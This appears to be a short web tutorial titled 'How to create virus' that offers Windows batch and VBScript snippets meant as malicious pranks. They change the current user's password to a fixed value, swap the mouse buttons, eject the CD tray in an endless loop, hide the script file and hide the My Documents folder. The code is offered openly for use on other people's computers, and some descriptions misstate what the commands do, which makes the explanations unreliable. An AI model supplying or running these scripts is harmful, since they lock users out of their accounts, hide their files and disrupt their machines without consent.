How to create virus. Create computer virus

Ø  Change User Password.

This type bat virus is change user password. This code is bellow.

net user %username% DELmE

Ø  Swap Mouse Buttons.

This virus is move the mouse curser on screen in every second.

RUNDLL32 USER32.DLL,SwapMouseButton

Ø  Start Opening Disk Tray.

This virus is infecting the CD-rom . they open every time

echo Do >> "opendisk.vbs"

echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"

echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"

echo colCDROMs.Item(d).Eject  >> "opendisk.vbs"

echo colCDROMs.Item(d).Eject  >> "opendisk.vbs"

echo Loop >> "opendisk.vbs"

start "" "opendisk.vbs"

Ø  Hide Virus File After Run.

This bat file is hide the own file.

rem Hide Virus File After Run

attrib +h %0

Ø  Hide My Documents Folder.

This bat file is hide all documents folder

rem Hide My Documents Folder

attrib +h "%userprofile%\my documents"